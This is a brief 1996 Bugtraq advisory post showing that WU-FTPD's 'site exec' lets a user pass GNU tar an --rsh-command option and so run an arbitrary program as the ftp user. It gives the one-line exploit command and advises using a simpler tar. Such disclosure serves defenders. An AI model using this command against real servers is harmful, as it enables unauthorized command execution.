Bugtraq mailing list archives

WU.FTPD vulnerability: gnu tar possibly others


From: coxa () cableol net (Alan Cox)
Date: Mon, 19 Aug 1996 14:09:19 +0100


quote site exec tar  -c -v --rsh-command=commandtorunasftp -f somebox:foo foo

Gnu tar allows you to specify which binary you wish to run.

Fix:
        Use a dumber tar. Also carefully evaluate any other binaries
you have to avoid unpleasant and similar suprises.



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